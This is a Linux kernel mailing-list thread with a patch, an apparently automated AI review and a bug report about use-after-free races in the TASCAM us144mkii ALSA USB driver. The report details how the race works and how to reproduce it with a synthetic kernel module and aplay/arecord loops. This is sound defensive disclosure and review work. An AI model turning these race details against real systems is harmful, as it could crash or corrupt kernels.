> diff --git a/sound/usb/usx2y/us144mkii_capture.c b/sound/usb/usx2y/us144mkii_capture.c
> index d7cdf9e0f6851..0eba34cea5d1d 100644
> --- a/sound/usb/usx2y/us144mkii_capture.c
> +++ b/sound/usb/usx2y/us144mkii_capture.c
> @@ -35,8 +35,43 @@ static int tascam_capture_open(struct snd_pcm_substream *substream)
> static int tascam_capture_close(struct snd_pcm_substream *substream)
> {
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
> + int i;
> +
> + /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
> + * via the cleanup lock; after disconnect() has run there is nothing
> + * left to kill. */
> + guard(mutex)(&tascam->cleanup_lock);
> + if (!tascam->disconnected) {
> + /* Clear the state under tascam->lock first (ordered against
> + * the completions' locked reads) before killing. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + atomic_set(&tascam->capture_active, 0);
> + tascam->capture_substream = NULL;
> + }
> +
> + /*
> + * Kill the capture URBs, and the feedback URBs, too: the
> + * feedback completion consumes the capture runtime
> + * (capture_rt->period_size, snd_pcm_period_elapsed()), so
> + * closing capture while playback stays open must quiesce
> + * the feedback path as well. usb_kill_urb() waits for each
> + * in-flight completion -- the explicit synchronous barrier.
> + */
> + for (i = 0; i < NUM_CAPTURE_URBS; i++)
> + if (tascam->capture_urbs[i])
> + usb_kill_urb(tascam->capture_urbs[i]);
> + for (i = 0; i < NUM_FEEDBACK_URBS; i++)
> + if (tascam->feedback_urbs[i])
> + usb_kill_urb(tascam->feedback_urbs[i]);
> + }
[Severity: High]
Does killing tascam->feedback_urbs[] here without restarting them stall an
active playback stream when capture is closed?
When usb_kill_urb() unlinks the feedback URBs, feedback_urb_complete()
bails out on -ENOENT without resubmitting (and any in-flight completion
with status 0 fails usb_submit_urb() with -EPERM while urb->reject is
set). Because tascam_capture_close() never resubmits feedback_urbs[],
feedback_urb_complete() stops running altogether, halting
tascam->playback_frames_consumed updates and snd_pcm_period_elapsed() for
playback. Symmetrically, closing playback while capture is running clears
tascam->playback_active and kills feedback_urbs[] in
tascam_playback_close(), which freezes capture_frames_processed and causes
capture's later tascam_pcm_trigger(SNDRV_PCM_TRIGGER_STOP) to do nothing
because it checks atomic_read(&tascam->playback_active).
[Severity: High]
Is capture_urb_complete() missing the tascam->lock serialization that this
patch adds to playback_urb_complete() and feedback_urb_complete()?
sound/usb/usx2y/us144mkii_capture.c:capture_urb_complete() {
...
if (!tascam || !atomic_read(&tascam->capture_active))
goto out;
...
usb_get_urb(urb);
usb_anchor_urb(urb, &tascam->capture_anchor);
ret = usb_submit_urb(urb, GFP_ATOMIC);
if (ret < 0) {
dev_err_ratelimited(tascam->card->dev,
"Failed to resubmit capture URB: %d\n",
ret);
usb_unanchor_urb(urb);
usb_put_urb(urb);
atomic_dec(
&tascam->active_urbs); /* Decrement on failed resubmission */
return;
}
out:
usb_put_urb(urb);
}
If capture_urb_complete() passes the unlocked capture_active check just
before tascam_capture_close() clears capture_active, it will still call
schedule_work(&tascam->capture_work) and usb_submit_urb(). If
tascam_capture_close() has already finished usb_kill_urb() on that URB
index, the URB is resubmitted after capture_active is 0; if usb_kill_urb()
is currently running on that URB, usb_submit_urb() fails with -EPERM and
the early return skips out: usb_put_urb(urb), leaking the URB reference
acquired when the completed transfer was submitted.
tascam_capture_work_handler() also still reads tascam->capture_substream
and substream->runtime at entry without holding tascam->lock.
>
> - tascam->capture_substream = NULL;
> + /* the capture work caches substream->runtime at entry and writes
> + * runtime->dma_area; it must not run after the detach below */
> + cancel_work_sync(&tascam->capture_work);
> + cancel_work_sync(&tascam->stop_work);
> + /* a stop_pcm_work queued on feedback sync loss must not run after
> + * ALSA detached the substream and freed its runtime */
> + cancel_work_sync(&tascam->stop_pcm_work);
>
> return 0;
> }
[Severity: High]
Does cancelling tascam->stop_work here and in tascam_playback_close()
leave tascam->active_urbs permanently non-zero after closing a running
stream?
When a running stream is closed, snd_pcm_release_substream() calls
snd_pcm_drop() -> tascam_pcm_trigger(SNDRV_PCM_TRIGGER_STOP), which queues
tascam->stop_work, and then immediately calls .close(). None of the URB
completions decrement tascam->active_urbs when an URB is killed with
-ENOENT; tascam_stop_work_handler() is the only place that resets
atomic_set(&tascam->active_urbs, 0) (and kills all three URB anchors,
including capture_anchor on playback close and playback_anchor on capture
close). When cancel_work_sync(&tascam->stop_work) cancels the pending
work item before it runs, tascam->active_urbs stays at 16 and every
subsequent SNDRV_PCM_TRIGGER_START fails with -EAGAIN at:
sound/usb/usx2y/us144mkii_pcm.c:tascam_pcm_trigger() {
...
if (do_start) {
if (atomic_read(&tascam->active_urbs) > 0) {
dev_warn(tascam->card->dev,
"Cannot start, URBs still active.\n");
return -EAGAIN;
}
...
}
> diff --git a/sound/usb/usx2y/us144mkii_playback.c b/sound/usb/usx2y/us144mkii_playback.c
> index 7efaca0a64899..58de4721ee859 100644
> --- a/sound/usb/usx2y/us144mkii_playback.c
> +++ b/sound/usb/usx2y/us144mkii_playback.c
> @@ -35,8 +35,40 @@ static int tascam_playback_open(struct snd_pcm_substream *substream)
> static int tascam_playback_close(struct snd_pcm_substream *substream)
> {
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
> + int i;
> +
> + /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
> + * via the cleanup lock; after disconnect() has run there is nothing
> + * left to kill. */
> + guard(mutex)(&tascam->cleanup_lock);
> + if (!tascam->disconnected) {
> + /* Clear the state under tascam->lock first, so a completion
> + * that races this close observes the cleared flag before its
> + * final resubmit (see the completions) and cannot bring an
> + * URB back to life after the kill. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + atomic_set(&tascam->playback_active, 0);
> + tascam->playback_substream = NULL;
> + }
> +
> + /*
> + * Per-URB usb_kill_urb() is the explicit synchronous close
> + * barrier: it waits for each in-flight completion (including
> + * one that already passed the active/pointer checks). The
> + * feedback completion also consumes the playback runtime.
> + */
> + for (i = 0; i < NUM_PLAYBACK_URBS; i++)
> + if (tascam->playback_urbs[i])
> + usb_kill_urb(tascam->playback_urbs[i]);
> + for (i = 0; i < NUM_FEEDBACK_URBS; i++)
> + if (tascam->feedback_urbs[i])
> + usb_kill_urb(tascam->feedback_urbs[i]);
> + }
[Severity: High]
Is .close() too late to quiesce playback_urb_complete() and
tascam_capture_work_handler() against runtime->dma_area teardown?
CPU0 CPU1 (<softirq> / kworker)
snd_pcm_release_substream()
snd_pcm_drop()
tascam_pcm_trigger(STOP)
schedule_work(&stop_work)
playback_urb_complete()
/* or tascam_capture_work_handler() */
do_hw_free()
tascam_pcm_hw_free() /* no-op */
snd_pcm_lib_free_pages()
runtime->dma_area = NULL;
memcpy(..., runtime->dma_area + ...)
<-- NULL dereference / UAF
substream->ops->close()
tascam_playback_close()
Because the driver uses snd_pcm_set_managed_buffer_all() and has neither a
.sync_stop callback nor URB/work quiescing in tascam_pcm_hw_free(),
do_hw_free() frees the DMA buffer and sets runtime->dma_area = NULL before
tascam_playback_close() or tascam_capture_close() is reached (and userspace
can also trigger do_hw_free() directly via SNDRV_PCM_IOCTL_HW_FREE without
closing). Stop synchronization needs to happen in .sync_stop or .hw_free
before snd_pcm_lib_free_pages() runs.
--
Sashiko AI review · https://sashiko.dev/#/patchset/7b5aed28.578.1a212c08a97.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
2026-11-25 12:48 ` [PATCH] " 徐晗翔
2026-11-25 13:13 ` sashiko-bot
@ 2026-11-25 16:25 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 16:25 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:48:58 +0100,
徐晗翔 wrote:
>
> tascam_playback_close() and tascam_capture_close() only cleared the
> substream pointer; the ALSA release path then detached the substream
> and freed the snd_pcm_runtime while a playback/feedback URB
> completion or the capture work still used it.
>
> Make close() a real synchronous barrier:
>
> - clear the active flag and the substream pointer under
> tascam->lock, and load them under the same lock in the
> completions, so a completion cannot observe a stale substream of
> a stream being quiesced;
> - usb_kill_urb() every playback/feedback URB on playback close and
> every capture/feedback URB on capture close (the feedback
> completion consumes BOTH runtimes); usb_kill_urb() waits for each
> in-flight completion, including one already inside the giveback
> path;
> - serialize the completions' final usb_submit_urb() with the close
> under tascam->lock, so a completion that raced the close cannot
> resubmit a killed URB;
> - cancel_work_sync() for capture_work/stop_work/stop_pcm_work;
> - serialize the whole quiesce with tascam_disconnect()'s
> tascam_free_urbs() through a new cleanup_lock plus a
> tascam->disconnected flag, released before snd_card_free() waits
> for the open PCM files.
About this one and 753f2e86.57a.1a212c1052c.Coremail.xuhx@hust.edu.cn
for us144mkii:
there have been already a series of fixes by Alexandre Becholey
https://lore.kernel.org/20261116071707.217448-1-alex@becholey.ch
... and as stated there, too, I believe that we should start a cleaner
redesign of URB handling for PCM in this driver at first before
papering over here and there.
thanks,
Takashi
> ---
> sound/usb/usx2y/us144mkii.h | 3 +++
> sound/usb/usx2y/us144mkii_playback.c | 145 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------------------------------------
> sound/usb/usx2y/us144mkii.c | 16 ++++++++++++++++
> sound/usb/usx2y/us144mkii_capture.c | 37 ++++++++++++++++++++++++++++++++++++-
> 4 files changed, 159 insertions(+), 42 deletions(-)
>
> diff --git a/sound/usb/usx2y/us144mkii.h b/sound/usb/usx2y/us144mkii.h
> --- a/sound/usb/usx2y/us144mkii.h
> +++ b/sound/usb/usx2y/us144mkii.h
> @@ -229,6 +229,9 @@
>
> /* --- Stream State --- */
> spinlock_t lock;
> + struct mutex cleanup_lock; /* serializes the close-time URB quiesce
> + * with disconnect()'s free path */
> + bool disconnected; /* disconnect() freed the URBs */
> atomic_t playback_active;
> atomic_t capture_active;
> atomic_t active_urbs;
> diff --git a/sound/usb/usx2y/us144mkii_playback.c b/sound/usb/usx2y/us144mkii_playback.c
> --- a/sound/usb/usx2y/us144mkii_playback.c
> +++ b/sound/usb/usx2y/us144mkii_playback.c
> @@ -35,8 +35,40 @@
> static int tascam_playback_close(struct snd_pcm_substream *substream)
> {
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
> + int i;
>
> - tascam->playback_substream = NULL;
> + /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
> + * via the cleanup lock; after disconnect() has run there is nothing
> + * left to kill. */
> + guard(mutex)(&tascam->cleanup_lock);
> + if (!tascam->disconnected) {
> + /* Clear the state under tascam->lock first, so a completion
> + * that races this close observes the cleared flag before its
> + * final resubmit (see the completions) and cannot bring an
> + * URB back to life after the kill. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + atomic_set(&tascam->playback_active, 0);
> + tascam->playback_substream = NULL;
> + }
> +
> + /*
> + * Per-URB usb_kill_urb() is the explicit synchronous close
> + * barrier: it waits for each in-flight completion (including
> + * one that already passed the active/pointer checks). The
> + * feedback completion also consumes the playback runtime.
> + */
> + for (i = 0; i < NUM_PLAYBACK_URBS; i++)
> + if (tascam->playback_urbs[i])
> + usb_kill_urb(tascam->playback_urbs[i]);
> + for (i = 0; i < NUM_FEEDBACK_URBS; i++)
> + if (tascam->feedback_urbs[i])
> + usb_kill_urb(tascam->feedback_urbs[i]);
> + }
> +
> + cancel_work_sync(&tascam->stop_work);
> + /* a stop_pcm_work queued on feedback sync loss must not run after
> + * ALSA detached the substream and freed its runtime */
> + cancel_work_sync(&tascam->stop_pcm_work);
>
> return 0;
> }
> @@ -158,8 +190,8 @@
> void playback_urb_complete(struct urb *urb)
> {
> struct tascam_card *tascam = urb->context;
> - struct snd_pcm_substream *substream;
> - struct snd_pcm_runtime *runtime;
> + struct snd_pcm_substream *substream = NULL;
> + struct snd_pcm_runtime *runtime = NULL;
> size_t total_bytes_for_urb = 0;
> snd_pcm_uframes_t offset_frames;
> snd_pcm_uframes_t frames_to_copy;
> @@ -173,15 +205,21 @@
> urb->status);
> goto out;
> }
> - if (!tascam || !atomic_read(&tascam->playback_active))
> - goto out;
> -
> - substream = tascam->playback_substream;
> - if (!substream || !substream->runtime)
> + if (!tascam)
> goto out;
> - runtime = substream->runtime;
>
> + /* Load the active flag and the substream under tascam->lock: a
> + * concurrent close clears both under the same lock, so this read
> + * cannot observe a stale substream of a stream that is being
> + * quiesced. */
> scoped_guard(spinlock_irqsave, &tascam->lock) {
> + if (!atomic_read(&tascam->playback_active))
> + goto out;
> + substream = tascam->playback_substream;
> + if (!substream || !substream->runtime)
> + goto out;
> + runtime = substream->runtime;
> +
> for (i = 0; i < urb->number_of_packets; i++) {
> unsigned int frames_for_packet;
> size_t bytes_for_packet;
> @@ -237,18 +275,26 @@
> frames_to_copy);
> }
>
> - urb->dev = tascam->dev;
> - usb_get_urb(urb);
> - usb_anchor_urb(urb, &tascam->playback_anchor);
> - ret = usb_submit_urb(urb, GFP_ATOMIC);
> - if (ret < 0) {
> - dev_err_ratelimited(tascam->card->dev,
> - "Failed to resubmit playback URB: %d\n",
> - ret);
> - usb_unanchor_urb(urb);
> - usb_put_urb(urb);
> - atomic_dec(
> - &tascam->active_urbs); /* Decrement on failed resubmission */
> + /* Serialize the final resubmit with a concurrent close(): the close
> + * clears playback_active under tascam->lock, so observing it
> + * cleared here means the stream is being quiesced -- do not bring
> + * the URB back to life after the close's per-URB kill. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + if (!atomic_read(&tascam->playback_active))
> + goto out;
> + urb->dev = tascam->dev;
> + usb_get_urb(urb);
> + usb_anchor_urb(urb, &tascam->playback_anchor);
> + ret = usb_submit_urb(urb, GFP_ATOMIC);
> + if (ret < 0) {
> + dev_err_ratelimited(tascam->card->dev,
> + "Failed to resubmit playback URB: %d\n",
> + ret);
> + usb_unanchor_urb(urb);
> + usb_put_urb(urb);
> + atomic_dec(
> + &tascam->active_urbs); /* Decrement on failed resubmission */
> + }
> }
> out:
> usb_put_urb(urb);
> @@ -257,8 +303,8 @@
> void feedback_urb_complete(struct urb *urb)
> {
> struct tascam_card *tascam = urb->context;
> - struct snd_pcm_substream *playback_ss, *capture_ss;
> - struct snd_pcm_runtime *playback_rt, *capture_rt;
> + struct snd_pcm_substream *playback_ss = NULL, *capture_ss = NULL;
> + struct snd_pcm_runtime *playback_rt = NULL, *capture_rt = NULL;
> u64 total_frames_in_urb = 0;
> int ret, p;
> unsigned int old_in_idx, new_in_idx;
> @@ -276,18 +322,27 @@
> }
> goto out;
> }
> - if (!tascam || !atomic_read(&tascam->playback_active))
> + if (!tascam)
> goto out;
>
> - playback_ss = tascam->playback_substream;
> - if (!playback_ss || !playback_ss->runtime)
> - goto out;
> - playback_rt = playback_ss->runtime;
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + /* Load the active flag and the substreams under
> + * tascam->lock: a concurrent playback or capture close
> + * clears the flag and the pointers under the same lock, so
> + * these reads cannot observe a stale substream whose
> + * runtime is being detached. The feedback completion
> + * consumes both runtimes, hence capture close must also
> + * quiesce the feedback URBs (see tascam_capture_close()). */
> + if (!atomic_read(&tascam->playback_active))
> + goto out;
> + playback_ss = tascam->playback_substream;
> + if (!playback_ss || !playback_ss->runtime)
> + goto out;
> + playback_rt = playback_ss->runtime;
>
> - capture_ss = tascam->capture_substream;
> - capture_rt = capture_ss ? capture_ss->runtime : NULL;
> + capture_ss = tascam->capture_substream;
> + capture_rt = capture_ss ? capture_ss->runtime : NULL;
>
> - scoped_guard(spinlock_irqsave, &tascam->lock) {
> if (tascam->feedback_urb_skip_count > 0) {
> tascam->feedback_urb_skip_count--;
> break;
> @@ -429,16 +484,24 @@
> if (capture_period_elapsed)
> snd_pcm_period_elapsed(capture_ss);
>
> - urb->dev = tascam->dev;
> - usb_get_urb(urb);
> - usb_anchor_urb(urb, &tascam->feedback_anchor);
> - ret = usb_submit_urb(urb, GFP_ATOMIC);
> - if (ret < 0) {
> - dev_err_ratelimited(tascam->card->dev,
> - "Failed to resubmit feedback URB: %d\n",
> - ret);
> - usb_unanchor_urb(urb);
> - usb_put_urb(urb);
> + /* Serialize the final resubmit with a concurrent close(): observing
> + * playback_active cleared under tascam->lock means the playback
> + * stream is being quiesced -- do not bring the URB back to life
> + * after the close's per-URB kill. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + if (!atomic_read(&tascam->playback_active))
> + goto out;
> + urb->dev = tascam->dev;
> + usb_get_urb(urb);
> + usb_anchor_urb(urb, &tascam->feedback_anchor);
> + ret = usb_submit_urb(urb, GFP_ATOMIC);
> + if (ret < 0) {
> + dev_err_ratelimited(tascam->card->dev,
> + "Failed to resubmit feedback URB: %d\n",
> + ret);
> + usb_unanchor_urb(urb);
> + usb_put_urb(urb);
> + }
> }
> out:
> usb_put_urb(urb);
> diff --git a/sound/usb/usx2y/us144mkii.c b/sound/usb/usx2y/us144mkii.c
> --- a/sound/usb/usx2y/us144mkii.c
> +++ b/sound/usb/usx2y/us144mkii.c
> @@ -497,6 +497,7 @@
> tascam->capture_34_source = 1;
>
> spin_lock_init(&tascam->lock);
> + mutex_init(&tascam->cleanup_lock);
> spin_lock_init(&tascam->midi_in_lock);
> spin_lock_init(&tascam->midi_out_lock);
> init_usb_anchor(&tascam->playback_anchor);
> @@ -588,6 +589,17 @@
> snd_card_disconnect(tascam->card);
>
> /*
> + * Serialize with a concurrent PCM close()'s quiesce (the
> + * per-URB kills below and tascam_free_urbs() must not race
> + * each other), then release the lock before snd_card_free()
> + * waits for the open PCM files: a close that runs during
> + * that wait sees tascam->disconnected and skips the URB
> + * handling.
> + */
> + mutex_lock(&tascam->cleanup_lock);
> + tascam->disconnected = true;
> +
> + /*
> * Kill the URBs before cancelling the work, so a late URB
> * completion cannot re-arm a work that then runs after
> * snd_card_free().
> @@ -605,6 +617,10 @@
> cancel_work_sync(&tascam->stop_pcm_work);
> timer_delete_sync(&tascam->error_timer);
> tascam_free_urbs(tascam);
> + /* release before snd_card_free(): it waits for the open PCM
> + * files, and a close running during that wait takes this
> + * lock (and sees tascam->disconnected) */
> + mutex_unlock(&tascam->cleanup_lock);
> snd_card_free(tascam->card);
> dev_idx--;
> }
> diff --git a/sound/usb/usx2y/us144mkii_capture.c b/sound/usb/usx2y/us144mkii_capture.c
> --- a/sound/usb/usx2y/us144mkii_capture.c
> +++ b/sound/usb/usx2y/us144mkii_capture.c
> @@ -35,8 +35,43 @@
> static int tascam_capture_close(struct snd_pcm_substream *substream)
> {
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
> + int i;
>
> - tascam->capture_substream = NULL;
> + /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
> + * via the cleanup lock; after disconnect() has run there is nothing
> + * left to kill. */
> + guard(mutex)(&tascam->cleanup_lock);
> + if (!tascam->disconnected) {
> + /* Clear the state under tascam->lock first (ordered against
> + * the completions' locked reads) before killing. */
> + scoped_guard(spinlock_irqsave, &tascam->lock) {
> + atomic_set(&tascam->capture_active, 0);
> + tascam->capture_substream = NULL;
> + }
> +
> + /*
> + * Kill the capture URBs, and the feedback URBs, too: the
> + * feedback completion consumes the capture runtime
> + * (capture_rt->period_size, snd_pcm_period_elapsed()), so
> + * closing capture while playback stays open must quiesce
> + * the feedback path as well. usb_kill_urb() waits for each
> + * in-flight completion -- the explicit synchronous barrier.
> + */
> + for (i = 0; i < NUM_CAPTURE_URBS; i++)
> + if (tascam->capture_urbs[i])
> + usb_kill_urb(tascam->capture_urbs[i]);
> + for (i = 0; i < NUM_FEEDBACK_URBS; i++)
> + if (tascam->feedback_urbs[i])
> + usb_kill_urb(tascam->feedback_urbs[i]);
> + }
> +
> + /* the capture work caches substream->runtime at entry and writes
> + * runtime->dma_area; it must not run after the detach below */
> + cancel_work_sync(&tascam->capture_work);
> + cancel_work_sync(&tascam->stop_work);
> + /* a stop_pcm_work queued on feedback sync loss must not run after
> + * ALSA detached the substream and freed its runtime */
> + cancel_work_sync(&tascam->stop_pcm_work);
>
> return 0;
> }
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-13 20:28:42 (星期五)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
> >
> > tascam_playback_close() and tascam_capture_close() only clear the
> > substream pointer; they do not stop URBs or cancel work. The ALSA
> > release path then calls snd_pcm_detach_substream(), which sets
> > substream->runtime to NULL and frees the snd_pcm_runtime. A
> > playback/feedback URB completion, or the capture work, can have loaded
> > the substream/runtime pointer before close; after detach it dereferences
> > runtime->rate, runtime->buffer_size, runtime->dma_area or
> > runtime->status, and may resubmit the next URB. This is a
> > use-after-free / oops on an ordinary PCM close while the device remains
> > connected. It is not the disconnect path. Capture close is also
> > affected because feedback_urb_complete() uses the capture runtime.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0 source tree (VERSION=7, PATCHLEVEL=3, SUBLEVEL=0),
> > sound/usb/usx2y/us144mkii.c, us144mkii_playback.c,
> > us144mkii_capture.c and us144mkii_pcm.c. The driver binds the
> > TASCAM US-144MKII (0644:8020) and US-144 (0644:800f). The relevant
> > configuration is CONFIG_SND_USB_US144MKII=m.
> >
> > This report is based on source inspection, plus a synthetic ALSA PCM
> > model used to validate the close/detach lifetime pattern (see
> > "Reproducer (attached POC)" below). I have not run the real driver on
> > TASCAM hardware or under KASAN; no real-hardware result is claimed.
> >
> > * Mechanism
> >
> > 1. The close callbacks do not stop I/O:
> >
> > static int tascam_playback_close(struct snd_pcm_substream *substream)
> > {
> > struct tascam_card *tascam = snd_pcm_substream_chip(substream);
> >
> > tascam->playback_substream = NULL;
> > return 0;
> > }
> >
> > (us144mkii_playback.c:35-42; tascam_capture_close() is the same at
> > us144mkii_capture.c:35-42). No usb_kill_urb(), no
> > cancel_work_sync().
> >
> > 2. tascam_pcm_trigger() on STOP only clears the active flags and
> > schedules stop_work asynchronously:
> >
> > atomic_set(&tascam->playback_active, 0);
> > atomic_set(&tascam->capture_active, 0);
> > ...
> > schedule_work(&tascam->stop_work);
> >
> > (us144mkii_pcm.c:280-287 and 352-353). tascam_pcm_hw_free() is a
> > no-op (us144mkii_pcm.c:257-260), so ALSA's do_hw_free() cannot stop
> > anything either.
> >
> > 3. ALSA then frees the runtime:
> >
> > snd_pcm_drop(substream); /* trigger STOP */
> > ...
> > substream->ops->close(substream); /* only NULLs ptr */
> > ...
> > snd_pcm_detach_substream(substream); /* frees runtime */
> >
> > (sound/core/pcm_native.c:2785-2805; snd_pcm_detach_substream() at
> > sound/core/pcm.c:978-1005, substream->runtime = NULL at 997 and
> > kfree(runtime) at 1001).
> >
> > 4. Three consumers can already hold the old runtime pointer:
> >
> > - playback_urb_complete() reads tascam->playback_substream and
> > substream->runtime at us144mkii_playback.c:176-182, then uses
> > runtime->rate / runtime->buffer_size under tascam->lock and
> > runtime->dma_area after unlocking (184-234), before resubmitting
> > at 237-247.
> >
> > - feedback_urb_complete() reads the playback and capture
> > substreams at us144mkii_playback.c:282-288. It uses
> > capture_rt->period_size at 413-417 and calls
> > snd_pcm_period_elapsed(capture_ss) at 430 after unlocking.
> > Therefore capture close must also stop the feedback URB; it
> > currently stops neither capture nor feedback URBs.
> >
> > - tascam_capture_work_handler() reads
> > tascam->capture_substream and substream->runtime at
> > us144mkii_capture.c:157-169 and writes runtime->dma_area at 230
> > under tascam->lock. It is queued by capture_urb_complete() at
> > line 301.
> >
> > 5. The asynchronous stop_work is not a close-time barrier.
> > usb_kill_anchored_urbs() in tascam_stop_work_handler() does wait
> > for a completion that is already inside the HCD giveback path
> > (__usb_hcd_giveback_urb() suspends the anchor wakeups before
> > usb_unanchor_urb(), and resumes them only after urb->complete()),
> > but stop_work itself is scheduled asynchronously by trigger(STOP).
> > close does not wait for stop_work, so detach can free the runtime
> > before stop_work runs. A per-URB usb_kill_urb() in close() is the
> > explicit synchronous barrier; it waits for urb->use_count == 0
> > (drivers/usb/core/urb.c:703-720).
> >
> > 6. A completion that has already passed the active/pointer check can
> > resubmit a URB after close's kill unless the final check and
> > usb_submit_urb() are serialized with close. The close path must
> > clear the active flag and substream pointer under tascam->lock,
> > kill the URBs, cancel the work, and make the completion's final
> > submit path take the same lock.
> >
> > 7. There is a second direction: feedback completion consumes the
> > capture runtime, but tascam_capture_close() stops neither capture
> > URBs nor feedback URBs. Closing capture while playback (and
> > therefore feedback) remains open can free capture_runtime while
> > feedback completion still uses capture_rt.
> >
> > 8. close() must also be serialized with tascam_disconnect():
> > tascam_disconnect() calls tascam_free_urbs() before
> > snd_card_free() waits for open PCM files to close
> > (us144mkii.c:580-611; free at 38-110). Without a
> > disconnect_lock/disconnected flag, a close that runs after the
> > slots were freed can call usb_kill_urb(NULL), or race the free.
> >
> >
> >
> > * Reproducer
> >
> > Attached files:
> > tascam_poc.c - synthetic ALSA PCM kernel module (C1 mode pcm1)
> > pcmtest.c - userland exerciser
> > Makefile - builds tascam_poc.ko against the running kernel
> >
> > This POC does not drive the TASCAM device. It creates a synthetic ALSA
> > PCM card whose .close() only drops the substream pointer, starts an
> > asynchronous work item that caches the runtime, and lets ALSA detach and
> > free the runtime before the work runs. It therefore reproduces the
> > lifetime ordering in point 3/4 above, not the real USB URB completion.
> > A KASAN kernel is required to observe the UAF.
> >
> > Build and run:
> > make
> > gcc -static -O2 -o pcmtest pcmtest.c
> > sudo modprobe snd-pcm
> > sudo insmod ./tascam_poc.ko mode=pcm1
> > sudo ./pcmtest 1
> > dmesg | tail -50
> > sudo rmmod tascam_poc
> >
> > Expected result with KASAN:
> > BUG: KASAN: slab-use-after-free in race_pcm_work+0xce/0x140
> > Allocated by task ... (snd_pcm_open)
> > Freed by task ... (snd_pcm_release_substream/snd_pcm_detach_substream)
> >
> > Negative control (close cancels the work):
> > sudo insmod ./tascam_poc.ko mode=pcm1 safe=1
> > sudo ./pcmtest 1
> > Expected: no KASAN report.
> >
> > The module creates a capture PCM at card index 0; if that index is
> > occupied, check /proc/asound/cards and adjust DEV in pcmtest.c.
> >
> > For a real-hardware KASAN run, the proposed procedure is:
> >
> > arecord -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/null &
> > aplay -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/zero
> > # start playback, then close it while feedback is active;
> > # repeat open/start/close in a loop and watch dmesg for KASAN
> >
> > For the capture-close direction, keep the playback process running
> > and repeatedly open/start/close the capture stream. The expected
> > KASAN top frames are playback_urb_complete(), feedback_urb_complete()
> > or tascam_capture_work_handler().
> >
> >
> > * Suggested direction
> >
> > In .close(), under tascam->lock, clear the active flag and substream
> > pointer, then call usb_kill_urb() for every feedback/playback URB
> > (capture close: feedback/capture), and finally cancel_work_sync() for
> > stop_pcm_work, stop_work and capture_work as appropriate, before
> > returning to snd_pcm_detach_substream().
> >
> > Use a disconnect_lock plus a disconnected flag to serialize this
> > cleanup with tascam_disconnect()'s tascam_free_urbs(); release the
> > lock before snd_card_free(). The completion's final
> > active/pointer check and usb_anchor_urb()/usb_submit_urb() should run
> > under the same tascam->lock, so a completion that raced with close
> > cannot submit a new URB after the kill.
> >
> > I am happy to test a proposed fix.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (5 preceding siblings ...)
2026-11-13 12:28 ` ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF) 徐晗翔
@ 2026-11-13 12:29 ` 徐晗翔
2026-11-25 12:49 ` [PATCH] " 徐晗翔
2026-11-22 7:43 ` sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF) 徐晗翔
` (34 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:29 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 8406 bytes --]
tascam_stop_pcm_work_handler() is queued by feedback_urb_complete()
after a feedback sync loss, then reads tascam->playback_substream and
tascam->capture_substream without any lock and calls snd_pcm_stop() on
them. PCM close does not cancel this work. If close completes first,
snd_pcm_detach_substream() sets substream->runtime to NULL and frees the
snd_pcm_runtime; when the handler reaches snd_pcm_stop(),
snd_pcm_pre_stop() re-reads substream->runtime and dereferences the NULL
pointer. This is a conditional NULL-pointer dereference / oops on an
ordinary PCM close; a narrower runtime-UAF window is theoretically
possible but was not reproduced, so this report does not claim UAF.
The handler also violates the ALSA convention that snd_pcm_action()
must be called with the PCM stream lock held.
The detailed description:
* Test environment / affected version
Linux 7.3.0 source tree (VERSION=7, PATCHLEVEL=3, SUBLEVEL=0),
sound/usb/usx2y/us144mkii_playback.c, us144mkii_pcm.c and
us144mkii.h. The driver binds the TASCAM US-144MKII (0644:8020) and
US-144 (0644:800f). The relevant configuration is
CONFIG_SND_USB_US144MKII=m.
This report is based on source inspection, plus a synthetic ALSA PCM
model used to validate the close/detach ordering. I have not run the
real driver on TASCAM hardware; no real-hardware result is claimed.
The attached POC is that synthetic-ordering model, not a TASCAM
hardware reproducer.
* Mechanism
